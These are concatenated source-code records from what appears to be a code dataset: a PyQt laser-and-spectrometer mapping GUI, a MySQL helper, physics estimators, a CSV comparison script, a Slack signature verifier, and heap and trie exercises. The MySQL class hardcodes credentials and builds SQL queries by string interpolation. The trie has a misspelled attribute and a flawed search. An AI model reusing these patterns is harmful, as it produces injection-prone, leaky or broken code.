datahandler_thread = QThread()\r\n datahandler_thread.setObjectName('data_handler_thread')\r\n self.datahandlerThreadName = datahandler_thread.objectName\r\n \r\n #the data handler is connected to its own thread and work on the computer\r\n #side to handle all the data collection\r\n \r\n datahandler = mapDataHandler(self.acquisitionFolder)\r\n datahandler.moveToThread(datahandler_thread)\r\n \r\n datahandler.sig_msg.connect(self.reactMapAc)\r\n mapper.sig_Spectrum.connect(datahandler.saveLastSpectrum)\r\n \r\n #this thread is dedicated to making the progress map\r\n \r\n progressmapper_thread = QThread()\r\n progressmapper_thread.setObjectName('progressmapper_thread') \r\n \r\n progressmapper = imd.QImageMaker()\r\n \r\n #and connected to the progressmapper thread\r\n \r\n progressmapper.moveToThread(progressmapper_thread) \r\n \r\n progressmapper.sig_image.connect(self.updateProgressImage)\r\n \r\n mapper.sig_requestImgProgress.connect(progressmapper.makeProgressImage)\r\n mapper.sig_requestFinProgress.connect(progressmapper.greenDefault)\r\n \r\n #this thread is dedicated to making the preview map\r\n \r\n previewmapper_thread = QThread()\r\n previewmapper_thread.setObjectName('previewmapper_thread') \r\n \r\n previewmapper = dataMapper(mapper, self.acquisitionFolder)\r\n \r\n #and connected to the previewmapper thread\r\n \r\n previewmapper.moveToThread(previewmapper_thread) \r\n \r\n previewmapper_thread.started.connect(previewmapper.firstConnection)\r\n \r\n datahandler.sig_askForNorm.connect(previewmapper.normalizeFile)\r\n \r\n previewmapper.sig_image.connect(self.updateMapImage)\r\n \r\n self.sig_previewProgress.connect(previewmapper.makePreviewImage)\r\n \r\n self.mapacquisitionPopUp.updatePreviewBtn.clicked.connect(self.askForMapImage)\r\n \r\n #this thread connects the last recorded spectrum to the spectrum plot\r\n #and to the data handler\r\n \r\n for thread, worker in self.__threads:\r\n \r\n if thread.objectName == self.spectroThreadName:\r\n\r\n worker.sig_spectrum.connect(self.updateSpectrumPlot)\r\n worker.sig_spectrum.connect(mapper.spectrumReceived) \r\n worker.sig_msg.connect(self.reactMapAc) \r\n \r\n mapper.sig_requestSpectrum.connect(worker.recordSpectrum) \r\n \r\n if thread.objectName == self.npsThreadName:\r\n \r\n worker.sig_positionsPreciseMove.connect(mapper.positionsReceived)\r\n \r\n #the mapper uses Precise Move for its movement to get more accuracy, it is slower\r\n mapper.sig_askForMove.connect(worker.preciseMove)\r\n \r\n #All the threads are then started\r\n \r\n datahandler_thread.start()\r\n self.__threads.append((datahandler_thread, datahandler))\r\n \r\n progressmapper_thread.start()\r\n self.__threads.append((progressmapper_thread, progressmapper))\r\n \r\n previewmapper_thread.start()\r\n self.__threads.append((previewmapper_thread, previewmapper))\r\n \r\n mapper_thread.start() \r\n self.__threads.append((mapper_thread, mapper)) \r\n \r\n def initializeMapPopUp(self):\r\n \r\n self.progressPercentage = 0\r\n \r\n self.progressSteps = 0\r\n \r\n self.currentX = 0\r\n \r\n self.currentY = 0\r\n \r\n self.currentDirection = 1\r\n \r\n self.mapacquisitionPopUp.Log.append('Starting Map Acquisition, please do not touch the controller while the acquisition is running.')\r\n \r\n #this should initialize the values on the pop up given that it is faster than the first step\r\n \r\n self.finishTime = (datetime.datetime.now() + datetime.timedelta(seconds=self.estimatedMapTime))\r\n \r\n self.mapacquisitionPopUp.finishTimeValueLabel.setText(str(self.finishTime))\r\n \r\n self.mapacquisitionPopUp.remainingTimeValueLabel.setText(str(self.finishTime - datetime.datetime.now()))\r\n \r\n self.mapacquisitionPopUp.progressValueLabel.setText('{}%, {} steps out of {}\\n \\n steps have been performed'.format(round(self.progressPercentage,1), self.progressSteps, self.totalNumberOfMapSteps)) \r\n \r\n @pyqtSlot(float)\r\n \r\n def mapupdateEstimate(self, estimatedTime:float):\r\n \r\n self.estimatedMapTime = estimatedTime\r\n \r\n self.finishTime = (datetime.datetime.now() + datetime.timedelta(seconds=self.estimatedMapTime))\r\n \r\n self.mapacquisitionPopUp.finishTimeValueLabel.setText(str(self.finishTime))\r\n \r\n self.mapacquisitionPopUp.remainingTimeValueLabel.setText(str(self.finishTime - datetime.datetime.now()))\r\n \r\n @pyqtSlot(int)\r\n \r\n def mapStepHasBeenPerformed(self, currentStep:int):\r\n \r\n self.progressPercentage = (currentStep/self.totalNumberOfMapSteps)*100 \r\n \r\n self.mapacquisitionPopUp.progressValueLabel.setText('{}%, {} steps out of {}\\n \\nsteps have been performed'.format(round(self.progressPercentage,1), currentStep, self.totalNumberOfMapSteps)) \r\n\r\n @pyqtSlot(ImageQt.ImageQt)\r\n \r\n def updateProgressImage(self, progressimg: ImageQt.ImageQt):\r\n \r\n self.mapacquisitionPopUp.progressSlot.updateImage(progressimg)\r\n self.mapacquisitionPopUp.show()\r\n \r\n @pyqtSlot(Spectrometry.Spectrum)\r\n \r\n def updateSpectrumPlot(self, lastSpectrum: Spectrometry.Spectrum):\r\n \r\n self.mapacquisitionPopUp.static_canvas.figure.clf() \r\n self.mapacquisitionPopUp.static_canvas.figure.subplots().plot(lastSpectrum.wvl, lastSpectrum.inte, \".\") \r\n self.mapacquisitionPopUp.static_canvas.draw()\r\n \r\n @pyqtSlot(ImageQt.ImageQt)\r\n \r\n def updateMapImage(self, mapimg: ImageQt.ImageQt):\r\n \r\n self.mapacquisitionPopUp.mapSlot.updateImage(mapimg)\r\n self.mapacquisitionPopUp.show() \r\n \r\n def askForMapImage(self):\r\n \r\n self.sig_previewProgress.emit(float(self.mapacquisitionPopUp.wvlPrompt.toPlainText()))\r\n \r\n @pyqtSlot(str) \r\n \r\n def react(self,string: str):\r\n \r\n self.Log.append(string)\r\n \r\n @pyqtSlot(str) \r\n def reactMapAc(self,string: str):\r\n \r\n self.mapacquisitionPopUp.Log.append(string) \r\n \r\n #Thorlabs stage methods\r\n \r\n @pyqtSlot()\r\n def connectedToThorStage(self):\r\n \r\n self.isConnectedToThorStage = True\r\n self.isConnectedToThorStageUpdatePosition = True\r\n \r\n self.cnectThorButton.setText(\"Connected\") \r\n self.cnectThorButtonLabel.setPixmap(QPixmap(\":/GreenButton.png\"))\r\n \r\n #Nanopositioning stage methods \r\n \r\n @pyqtSlot() \r\n def connectedToNPStage(self):\r\n \r\n self.isConnectedToStage = True \r\n self.isConnectedupdatePosition = True\r\n \r\n #upon Connection the stage is asked to move to the center position\r\n \r\n self.moveTo(100, 100, 25)\r\n \r\n self.cnectNpStageButton.setText(\"Disconnect\")\r\n self.cnectNpStageButton.clicked.disconnect()\r\n self.cnectNpStageButton.clicked.connect(self.disconnectFromEquipment)\r\n \r\n padThread, padWorker = self.__threads[0]\r\n padWorker.sigConnect.disconnect()\r\n padWorker.sigConnect.connect(self.disconnectFromEquipment)\r\n\r\n @pyqtSlot() \r\n def disconnectFromEquipment(self):\r\n \r\n self.sig_disconnectNPStage.emit() \r\n \r\n \r\n @pyqtSlot() \r\n def mainDisconnection(self):\r\n \r\n connectionThread, connectionWorker = self.__threads[1]\r\n \r\n connectionThread.quit()\r\n \r\n gamepadThread, gamepad = self.__threads[0]\r\n \r\n gamepadThread.quit()\r\n \r\n @pyqtSlot() \r\n \r\n def emptyThreads(self):\r\n \r\n if self.howManyThreadHaveStopped == 0:\r\n \r\n self.howManyThreadHaveStopped = 1\r\n \r\n else:\r\n \r\n self.__threads = [] \r\n \r\n self.howManyThreadHaveStopped = 0\r\n \r\n self.succesfullDisconnection()\r\n \r\n \r\n @pyqtSlot() \r\n \r\n def succesfullDisconnection(self): \r\n \r\n self.statusButton.setPixmap(QPixmap(\":/RedButton.png\"))\r\n self.isLaserConnected = False\r\n \r\n self.xPosLCD.display(0)\r\n self.yPosLCD.display(0)\r\n self.zPosLCD.display(0)\r\n\r\n self.Log.append(\"Succesful Disconnection\")\r\n \r\n self.hasAlreadyRanOnce = True\r\n \r\n self.cnectButton.setText(\"Connect\") \r\n \r\n self.cnectButton.clicked.disconnect()\r\n self.cnectButton.clicked.connect(self.attemptConnection) \r\n \r\n @pyqtSlot(float, float, float)\r\n \r\n #in order X, Y, Z\r\n \r\n def updatePositionReceivingMessage(self, X:float, Y:float, Z:float): \r\n \r\n self.xPosLCD.display(X)\r\n \r\n self.yPosLCD.display(Y)\r\n \r\n self.zPosLCD.display(Z)\r\n \r\n self.statusButton.setPixmap(QPixmap(\":/GreenButton.png\"))\r\n \r\n def updatePositionThorReceivingMessage(Pos: float):\r\n \r\n self.ThorPosLCD.display(Pos) \r\n\r\n \r\n @pyqtSlot(str)\r\n def moveFromGamepad(self, direction:str):\r\n \r\n currentX = self.xPosLCD.value()\r\n currentY = self.yPosLCD.value()\r\n currentZ = self.zPosLCD.value()\r\n \r\n if direction == 'U':\r\n \r\n self.moveTo(currentX ,currentY + float(self.YStepPrompt.toPlainText()), currentZ)\r\n \r\n if direction == 'D':\r\n \r\n self.moveTo(currentX ,currentY - float(self.YStepPrompt.toPlainText()), currentZ)\r\n \r\n if direction == 'R':\r\n \r\n self.moveTo(currentX + float(self.XStepPrompt.toPlainText()) ,currentY, currentZ) \r\n \r\n if direction == 'L':\r\n \r\n self.moveTo(currentX - float(self.XStepPrompt.toPlainText()) ,currentY, currentZ) \r\n \r\n if direction == 'Low':\r\n \r\n self.moveTo(currentX, currentY, currentZ - float(self.ZStepPrompt.toPlainText()))\r\n \r\n if direction == 'High':\r\n \r\n self.moveTo(currentX, currentY, currentZ + float(self.ZStepPrompt.toPlainText())) \r\n \r\n \r\n def moveTo(self, X, Y, Z):\r\n \r\n if self.isConnectedToStage:\r\n \r\n self.sig_askForMove.emit(X,Y,Z)\r\n \r\n def goToZero(self):\r\n \r\n self.moveTo(0,0,25)\r\n \r\n def goToCentre(self):\r\n \r\n self.moveTo(100,100,25)\r\n \r\n def goTo(self):\r\n \r\n self.moveTo(float(self.goToXPrompt.toPlainText()),float(self.goToYPrompt.toPlainText()),float(self.goToZPrompt.toPlainText()))\r\n \r\n #Thorlabs Stage method\r\n \r\n def goToThor(self):\r\n\r\n self.ThorStage.move_to(float(self.goToThorPrompt.toPlainText()))\r\n self.ThorPosLCD.display(float(self.goToThorPrompt.toPlainText()))\r\n \r\n def updatePosThor(self):\r\n \r\n self.ThorPosLCD.display(self.ThorStage.position)\r\n \r\n #Laser methods \r\n \r\n @pyqtSlot(bool) \r\n def connectedToLaser(self, status:bool):\r\n \r\n self.checkEmissionStatus()\r\n \r\n if status == True:\r\n \r\n self.isLaserConnected = True \r\n self.isConnectedupdatePosition = True\r\n \r\n self.cnectLaserButton.setText(\"Disconnect\")\r\n \r\n self.cnectLaserStatusButton.setPixmap(QPixmap(\":/OrangeButton.png\"))\r\n #self.cnectLaserStatusButton.clicked.disconnect()\r\n #self.cnectLaserStatusButton.clicked.connect(self.disconnectFromEquipment)\r\n \r\n self.react('Connection to laser Successful')\r\n \r\n def checkEmissionStatus(self):\r\n \r\n self.sig_requestLaserEmissionstatus.emit()\r\n \r\n @pyqtSlot(bool) \r\n \r\n def isLaserOnOff(self, emissionStatus:bool): \r\n \r\n if emissionStatus:\r\n \r\n self.IsLaserOn = True\r\n \r\n self.LaserPowerButton.setStyleSheet(\"border-color: rgb(142, 231, 255);background-color: rgb(0, 255, 0);\")\r\n \r\n self.cnectLaserStatusButton.setPixmap(QPixmap(\":/GreenButton.png\")) \r\n \r\n else:\r\n \r\n self.IsLaserOn = False\r\n \r\n self.LaserPowerButton.setStyleSheet(\"border-color: rgb(142, 231, 255);background-color: rgb(255, 0, 0);\") \r\n \r\n self.cnectLaserStatusButton.setPixmap(QPixmap(\":/OrangeButton.png\")) \r\n \r\n @pyqtSlot() \r\n def turnLaserOnOff(self): \r\n \r\n if self.IsLaserOn:\r\n \r\n #turn laser off\r\n \r\n self.sig_turnLaserOnOff.emit(0)\r\n \r\n else:\r\n \r\n #turn laser on\r\n \r\n self.sig_turnLaserOnOff.emit(1)\r\n \r\n @pyqtSlot(float) \r\n def updatePower(self,power:float):\r\n \r\n self.react('Updating power.')\r\n self.lcdPower.display(power) \r\n \r\n @pyqtSlot(float) \r\n def updateRepRate(self,reprate:float):\r\n \r\n self.react('Updating repetition rate.')\r\n self.lcdFrequency.display(reprate)\r\n\r\n\r\n @pyqtSlot(float)\r\n def updateWvl(self, wvl:float):\r\n \r\n self.react('Updating wavelength.')\r\n self.lcdWavelength.display(wvl)\r\n \r\n @pyqtSlot() \r\n def setLaserWvlFromPrompt(self):\r\n \r\n self.sig_Laserwvl.emit(float(self.wavelengthPrompt.toPlainText()))\r\n\r\n @pyqtSlot() \r\n def setLaserRepRateFromPrompt(self):\r\n \r\n self.sig_LaserRepRate.emit(float(self.frequencyPrompt.toPlainText())) \r\n \r\n \r\n @pyqtSlot() \r\n def setLaserPowerFromPrompt(self):\r\n \r\n self.sig_LaserPower.emit(float(self.powerPrompt.toPlainText())) \r\n \r\n #Spectro methods \r\n \r\n @pyqtSlot(bool) \r\n def connectedToSpectrometer(self, status:bool):\r\n \r\n if status == True:\r\n \r\n self.isConnectedToSpectrometer = True \r\n \r\n self.cnectSpectroButton.setText(\"Disconnect\")\r\n \r\n self.spectroButton.setPixmap(QPixmap(\":/GreenButton.png\"))\r\n \r\n self.cnectSpectroButton.clicked.disconnect()\r\n self.cnectSpectroButton.clicked.connect(self.disconnectFromSpectrometer)\r\n \r\n self.react('Connection to Spectrometer/CCD Successful')\r\n \r\n @pyqtSlot(bool) \r\n def disconnectFromSpectrometer(self): \r\n \r\n if self.isConnectedToSpectrometer == True:\r\n \r\n self.sig_disconnectSpectrometer.emit()\r\n \r\n \r\nclass GamepadSthread(QThread):\r\n \r\n def __init__(self):\r\n \r\n super().__init__()\r\n \r\nclass Gamepad(QObject):\r\n \r\n sig_msg = pyqtSignal(str)\r\n \r\n sig_move = pyqtSignal(str)\r\n \r\n sigConnect = pyqtSignal()\r\n\r\n def __init__(self):\r\n \r\n super().__init__()\r\n \r\n self.sig_msg.emit('gamepad started')\r\n \r\n def listeningToCommands(self):\r\n \r\n while 1:\r\n events = inputs.get_gamepad()\r\n \r\n for event in events:\r\n \r\n if event.code == 'ABS_HAT0X' and event.state == 1:\r\n \r\n self.sig_move.emit('R')\r\n \r\n if event.code == 'ABS_HAT0Y' and event.state == -1:\r\n \r\n self.sig_move.emit('U')\r\n \r\n if event.code == 'ABS_HAT0X' and event.state == -1:\r\n \r\n self.sig_move.emit('L')\r\n \r\n if event.code == 'ABS_HAT0Y' and event.state == 1:\r\n \r\n self.sig_move.emit('D')\r\n \r\n if event.code == 'BTN_TL'and event.state == 1:\r\n \r\n self.sig_move.emit('Low')\r\n \r\n if event.code == 'BTN_TR'and event.state == 1:\r\n \r\n self.sig_move.emit('High')\r\n \r\n if event.code == 'BTN_SELECT' and event.state == 1:\r\n \r\n self.sigConnect.emit()\r\n \r\nif __name__ == \"__main__\":\r\n \r\n app = QApplication(sys.argv)\r\n \r\n NpGui = QMainWindow()\r\n ui = GUI(NpGui)\r\n NpGui.show()\r\n \r\n sys.exit(app.exec_())\r\n \r\n \r\n ","sub_path":"OneO/OneO.py","file_name":"OneO.py","file_ext":"py","file_size_in_byte":32504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569596583","text":"import mysql.connector\nimport common\nimport pandas as pd\n\n\ndef open_close(fn):\n def wrapped(self, *args, **kwargs):\n try:\n print(\"opening connection...\")\n self.open()\n fn(self, *args, **kwargs)\n finally:\n self.close()\n print(\"...closed connection\")\n return wrapped\n\n\nclass Database(common.Common):\n \"\"\"mysql database connection and functions\"\"\"\n def __init__(self):\n self.connection = None\n self.cursor = None\n self.is_connected = None\n self.user = \"MK\"\n self.password = \"6860\"\n self.host = \"127.0.0.1\"\n self.database = \"bvtc\"\n\n def open(self):\n self.connection = mysql.connector.connect(user=self.user,\n password=self.password,\n host=self.host,\n database=self.database)\n return self.connection\n\n def close(self):\n self.connection.close()\n\n @open_close\n def insert_block(self, guid, style, style_number):\n\n query = f\"\"\" \n insert into bvtc.blocks \n (guid, style, style_number)\n values \n (\"{guid}\", \"{style}\", {style_number}) \n\n \"\"\"\n cursor = self.connection.cursor()\n cursor.execute(query)\n self.connection.commit()\n\n @open_close\n def insert_style(self, style, code, coefficient):\n\n query = f\"\"\" \n insert into bvtc.style_guide \n (style, code, coefficient)\n values \n (\"{style}\", \"{code}\", {coefficient}) \n\n \"\"\"\n cursor = self.connection.cursor()\n cursor.execute(query)\n self.connection.commit()\n\n @open_close\n def print_table(self):\n query = \"select * from bvtc.blocks\"\n df = pd.read_sql(query, self.open())\n print(df)\n\n def csv_to_sql(self):\n csv = open(r\"V:\\MeshLab\\_FieldSurvey\\MK\\Spreadsheets\\BLOCK_STYLES.csv\", \"r\")\n\n for line in csv:\n style, code, coefficient = line.split(\",\")\n self.insert_style(style, code, coefficient)\n\n\ndef main():\n db = Database()\n db.insert_style(\"Brackeet\", \"BKK\", 2.011)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Learning/BVTC/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"561447701","text":"from setting import *\nfrom modules.normal import w\n\n\ndef energy(Q_n, V_n):\n \"\"\"\n Once I've seen it negative, there might be some problem with it\n \"\"\"\n kin = (V_n**2).sum((1, 2, 3))/2\n pot1 = ext_omega2/2*(Q_n**2).sum((1, 2, 3))\n pot2 = 0.\n Q_n = Q_n.swapaxes(0, 1)\n for i in range(N):\n pot2 += ((Q_n[i]-Q_n[(i-1) % N])**2).sum((1, 2))\n pot2 *= omega2/2\n return kin+pot1+pot2\n\n\ndef angular_momentum(Q_n, V_n):\n return np.cross(Q_n, V_n).sum((1, 2))\n \n \ndef fictitious_energy(Q_n, V_n):\n kin = (V_n**2).sum((1, 2, 3))/2\n pot1 = ext_omega2/2*(Q_n**2).sum((1, 2, 3))\n pot2 = 0.\n Q_n=Q_n.swapaxes(0, 1)\n for i in range(N):\n pot2 += ((Q_n[i]-Q_n[(i-1) % N])**2).sum((1, 2))\n pot2 *= omega2/2\n return (kin+pot1+pot2)*hw\n\n \ndef primitive_energy(Q_n, V_n):\n \"\"\"\n Pay attention for all estimators, not clear wheater it's necessary to \n divide per N or per P*N in multidimensional system\n pot1 seem ok, pot2 seem too big\n It seem to mee that some particles are too disperded, maybe thermalization is wrong\n \"\"\"\n pot1 = ext_omega2/2*(Q_n**2).sum((1, 2, 3))/N\n pot2 = 0.\n Q_n=Q_n.swapaxes(0, 1)\n for i in range(N):\n #pri=((Q_n[i]-Q_n[(i-1)%N])**2).sum((1,2))[-1]\n #if pri >10:\n # print(pri)\n pot2 += ((Q_n[i]-Q_n[(i-1)%N])**2).sum((1,2))\n pot2 *= omega2/(2*N) \n #pot2 /= N #added as an experiment, need to check\n #print(pot1)\n #print('---')\n #print(pot2)\n #print('---')\n return N/(2*beta)-pot2+pot1\n\n\ndef real_primitive_energy(Q_n, V_n):\n pot1 = ext_omega2/2*(Q_n**2).sum((1, 2, 3))/N\n pot2 = 0.\n Q_n=Q_n.swapaxes(0, 1)\n for i in range(N):\n pot2 += ((Q_n[i]-Q_n[(i-1) % N])**2).sum((1, 2))\n pot2 *= omega2/(2*N) \n kin = 1/2*(V_n**2).sum((1, 2, 3))/N\n # /N added to kin, since beads thermalize at beta/N not beta\n return kin-pot2+pot1\n\n\ndef real_primitive_energyH2(Q_n,V_n):\n pot1 = ext_omega2/2*((Q_n[:, :, 1, :]-Q_n[:, :, 0, :])**2).sum((2, 3))/N\n pot2 = 0.\n Q_n=Q_n.swapaxes(0, 1)\n for i in range(N):\n pot2 += ((Q_n[i]-Q_n[(i-1) % N])**2).sum((1, 2))\n pot2 *= omega2/(2*N) \n kin= 1/2*(V_n**2).sum((1, 2, 3))/N\n # /N added to kin, since beads thermalize at beta/N not beta\n return kin-pot2+pot1\n\n\ndef virial_energy(Q_n, V_n):\n x_c = Q_n.sum(1)/N\n inter1 = (Q_n**2).sum((1, 2, 3))\n inter2 = ((Q_n.swapaxes(0, 1)-x_c).swapaxes(0, 1)*Q_n).sum((1, 2, 3))\n inter = (inter1+inter2)*ext_omega2\n return 1/beta*(inter/(2*N)+1/2.)\n \n\ndef mode_energy(U_n, VU_n):\n kin = (VU_n**2).sum((2, 3))/2\n pot = (U_n**2).sum((2, 3))/2*(w**2+ext_omega2)\n return kin+pot\n \n \ndef time_avarage(A):\n return A.cumsum()/(np.arange(len(A))+1.)\n \n \ndef kinetic(V_n):\n return (V_n**2).sum((1, 2, 3))/2/N\n \n \ndef pot1(Q_n):\n return ext_omega2/2*(Q_n**2).sum((1, 2, 3))/N\n \n \ndef pot2(Q_n):\n pot2 = 0.\n Q_n = Q_n.swapaxes(0, 1)\n for i in range(N):\n pot2 += ((Q_n[i]-Q_n[(i-1) % N])**2).sum((1, 2))\n pot2 *= omega2/2 \n return pot2/N","sub_path":"modules/estimators.py","file_name":"estimators.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207576382","text":"\n\ndef main():\n ErpData = getErpData()\n collectionData = getCollectionData()\n outputList = compareData(ErpData, collectionData)\n output(outputList)\n\n\ndef getErpData():\n with open('data\\\\7days_sales.csv', 'r') as f:\n content = f.readlines()\n ErpData = {}\n\n for i in content[1:]:\n barcode = i.split(',')[0]\n goodsId = i.split(',')[1]\n label = i.split(',')[2]\n saleType = i.split(',')[3]\n cat1 = i.split(',')[4]\n cat2 = i.split(',')[5]\n cat3 = i.split(',')[6]\n ErpData[barcode] = {\n \"barcode\": barcode,\n \"goodsId\": goodsId,\n \"label\": label,\n \"cat1\": cat1,\n \"cat2\": cat2,\n \"cat3\": cat3[:-1],\n \"saleType\": saleType\n }\n return ErpData\n\n\ndef getCollectionData():\n with open('data\\\\1261barcode_gallery.csv', 'r') as f:\n content = f.readlines()\n collectionData = {}\n\n for i in content[4:]:\n barcode = i.split(',')[4]\n label = i.split(',')[3]\n collectionData[barcode] = {\n \"barcode\": barcode,\n \"label\": label\n }\n return collectionData\n\n\ndef notInclude():\n notIncludeList = []\n with open('data\\\\notInclude.txt', 'r', encoding='utf-8') as f:\n content = f.readlines()\n for i in content:\n notIncludeList.append(i.split('\\n')[0])\n # print(notIncludeList)\n return notIncludeList\n\ndef compareData(ErpData, collectionData):\n count = 0\n notIncludeList = notInclude()\n outputList = []\n for key in ErpData.keys():\n count += 1\n label = ErpData[key][\"label\"]\n cat1 = ErpData[key][\"cat1\"]\n cat2 = ErpData[key][\"cat2\"]\n cat3 = ErpData[key][\"cat3\"]\n saleType = ErpData[key][\"saleType\"]\n collectionType = ''\n notIncludeType = ''\n if key in collectionData.keys():\n collectionType = '已采集'\n if ErpData[key][\"cat2\"] in notIncludeList:\n notIncludeType = '不采集'\n outputStr = '{},{},{},{},{},{},{},{},{}'.format(count, key, label, cat1, cat2, cat3, saleType, collectionType, notIncludeType)\n outputList.append(outputStr)\n # print(outputStr)\n return outputList\n\n\ndef output(outputList):\n title = 'no,barcode,label,cat1,cat2,cat3,saleType,collectionType,notIncludeType\\n'\n with open('data\\\\saleERP.csv', 'w') as f:\n f.write(title)\n for i in outputList:\n txt = i + '\\n'\n with open('data\\\\saleERP.csv', 'a') as f:\n f.write(txt)\n print('======== DONE ========')\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"好邻居/商品采集去重/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17702562","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def longestConsecutive(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n def dfs(root):\n if root is None:\n return 0, 0\n\n left1, left2 = dfs(root.left)\n right1, right2 = dfs(root.right)\n \n if root.left is not None and root.val + 1 == root.left.val:\n with_root_left = left1 + 1\n else:\n with_root_left = 1\n \n if root.right is not None and root.val + 1 == root.right.val:\n with_root_right = right1 + 1\n else:\n with_root_right = 1\n\n return max(with_root_left, with_root_right), max(left1, left2, right1, right2)\n \n r1, r2 = dfs(root)\n return max(r1, r2)\n","sub_path":"binary-tree-logest-consecutive-sequence/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636941339","text":"\"\"\"\nVerifying requests from Slack <https://api.slack.com/docs/verifying-requests-from-slack>\n\"\"\"\nimport hmac\nimport hashlib\n\nimport flask\n\n\ndef verify(slack_signing_secret: str, request: flask.Request) -> bool:\n \"\"\"Return if the request is verified.\n \n slack_signing_secret: Signing Secret from Slack.\n request: flask.Request object from flask.\n \"\"\"\n # Retrive request body.\n # And transform bytes to string inorder to be used with format string.\n request_body = request.get_data().decode(\"utf-8\") \n \n # Retrive the X-Slack-Request-Timestamp header on the HTTP request, and the body of the request.\n timestamp = request.headers['X-Slack-Request-Timestamp']\n \n # Calculate our signature.\n sig_basestring = f\"v0:{timestamp}:{request_body}\".encode('utf-8')\n hashed = hmac.new(\n slack_signing_secret.encode('utf-8'), \n sig_basestring, \n digestmod=hashlib.sha256\n ).hexdigest()\n my_signature = f\"v0={hashed}\"\n \n # Signature from incoming request headers.\n slack_signature = request.headers['X-Slack-Signature']\n \n return hmac.compare_digest(my_signature, slack_signature)\n","sub_path":"slacksdk/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"95002882","text":"class Array(object):\n def __init__(self, size=32): # 关键属性:分配空间和存储单位(使用列表的单个元素作为一个存储单位)\n self._size = size\n self._items = [None] * size\n\n def __getitem__(self, index): # Called to implement evaluation of self[index]实现下标访问.\n return self._items[index]\n\n def __setitem__(self, index, value): # Called to implement assignment to self[index].\n self._items[index] = value\n\n def __len__(self):\n return self._size\n\n def clear(self, value=None):\n for i in range(len(self._items)):\n self._items[i] = value\n\n def __iter__(self):\n for item in self._items:\n yield item\n\n\nclass MaxHeap(object):\n def __init__(self, maxsize=None):\n self.maxsize = maxsize\n self._elements = Array(maxsize)\n self._count = 0\n\n def __len__(self):\n return self._count\n\n def add(self, value):\n if self._count >= self.maxsize:\n raise Exception('full')\n self._elements[self._count] = value\n\n self._count += 1\n self._siftup(self._count - 1) # 维持堆的特性\n\n def _siftup(self, ndx):\n if ndx > 0:\n parent = (ndx - 1) // 2\n if self._elements[ndx] > self._elements[parent]: # 如果插入的值大于 parent,一直交换\n self._elements[ndx], self._elements[parent] = self._elements[parent], self._elements[ndx]\n self._siftup(parent)\n\n def extract(self):\n if self._count <= 0:\n raise Exception('empty')\n value = self._elements[0] # 保存 root 值\n self._count -= 1\n self._elements[0] = self._elements[self._count] # 最右下的节点放到root后siftDown\n self._siftdown(0) # 维持堆特性\n return value\n\n def _siftdown(self, ndx):\n left = ndx * 2 + 1\n right = ndx * 2 + 2\n # 找出当前节点及左右子节点中的最大值,与当前节点交换位置,并递归地对换下去的节点执行siftdown操作\n largest = ndx\n if left < self._count and self._elements[left] > self._elements[largest] and right < self._count and \\\n self._elements[left] >= self._elements[right]:\n largest = left\n elif left < self._count and self._elements[left] > self._elements[largest] and right >= self._count:\n largest = left\n elif right < self._count and self._elements[right] > self._elements[largest]:\n largest = right\n if largest != ndx:\n self._elements[ndx], self._elements[largest] = self._elements[largest], self._elements[ndx]\n self._siftdown(largest)\n\n\ndef test_maxheap():\n import random\n n = 10\n h = MaxHeap(n)\n mylist = list(range(n))\n random.shuffle(mylist)\n for i in mylist:\n h.add(i)\n for i in reversed(range(n)):\n assert i == h.extract()\n","sub_path":"15_Heap_and_heapsort/15_max_heap.py","file_name":"15_max_heap.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242447194","text":"class TrieTreeNode(object):\n def __init__(self):\n self.chiledren=[None]*26\n self.count = 0\n self.isEnd = False\n\nclass TrieTree:\n def __init__(self):\n self.root = TrieTreeNode()\n\n def add(self, word):\n cur = self.root\n for i in range(len(word)):\n index = ord(word[i])-ord(\"a\")\n if not cur.children[index]:\n cur.children[index] = TrieTreeNode()\n cur.count+=1\n cur = cur.children[index]\n cur.isEnd = True\n\n def search(self, word):\n cur = self.root\n for i in range(len(word)):\n index = ord(word[i]) - ord(\"a\")\n if not cur.children[index]:\n return False\n cur = cur.chiledren[index]\n return True\n\n def deleteWord(self, word):\n self.deleteHelper(self.root, word, 0)\n\n def deleteHelper(self, root, word, index):\n if index == len(word):\n root.isEnd = False\n return\n i = ord(word[index]) - ord(\"a\")\n self.deleteHelper(root.children[i],word,index+1)\n root.count-=1\n if root.children[i].count == 0:\n root.children[i]=None\n return\n","sub_path":"medium/mediumCode/trieTree/TrieTreeImplementation.py","file_name":"TrieTreeImplementation.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"482792730","text":"import pickle\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\" #we give this number as the device id we use\n\nimport time\nimport shutil\nimport torch\nimport gensim\nimport gensim.downloader as api\nfrom gensim.test.utils import datapath\nfrom os.path import join as pjoin\nfrom tensorboardX import SummaryWriter\nfrom torch.autograd.variable import Variable\n#import data\n#from vocab import Vocabulary # NOQA\n#from cnn.encoder import VSE\n#from evaluation import i2t, t2i, AverageMeter, LogCollector, encode_data\nimport numpy as np\nimport logging\nimport tensorboard_logger as tb_logger\nfrom datasets.folder import EmbeddedFolder, collate_fn, PrecompImg \nimport argparse\nfrom cnn.encoder 